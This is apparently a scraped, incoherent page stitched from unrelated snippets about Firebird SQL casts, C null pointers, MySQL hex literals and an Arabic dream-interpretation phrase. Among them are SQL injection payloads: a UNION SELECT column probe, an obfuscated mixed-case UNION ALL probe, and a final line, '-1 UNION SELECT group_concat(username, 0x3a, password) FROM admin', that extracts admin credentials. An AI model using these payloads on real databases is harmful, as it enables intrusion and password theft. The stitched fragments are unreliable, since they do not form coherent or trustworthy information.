select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database.
select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database.
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it...
If a null pointer constant is converted to a pointer type, the resulting pointer, called a null pointer, is guaranteed to compare unequal to a pointer to any object or function. §6.3.2.3 p6: Any pointer type may be converted to an integer type. Except as previously specified...
I'm trying to test if the value stored in a particular memory address is NULL, I have this and in debug it's showing the char value in that address as '\0'. Yet it's always skipping over this IF statement. Is this the right syntax to use? I have ensured that the address is set to null.
Best Result For : 999999.9 uNiOn aLl sElEcT cAsT 0x393133353134353632312e39 as char --. تفسير فرط السبحة في المنام.
Синтаксис: 0xHEX_ЧИСЛО (SM): SELECT CHAR(0x66) (S) SELECT 0x5045 (это не число, а строка) (M) SELECT 0x50 + 0x45
Select char_length(cast('123456789 1' as varchar(10))) from rdb$database. Получаем: Exception ... string truncation Т.е. пробел мы обрезать можем, а другие символы нет. Так и должно быть или нет?
I think your nitpicking is incorrect: (char*)NULL is a null pointer, but "\0" is an empty string. "" is also an empty string, as is "\0abc".
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.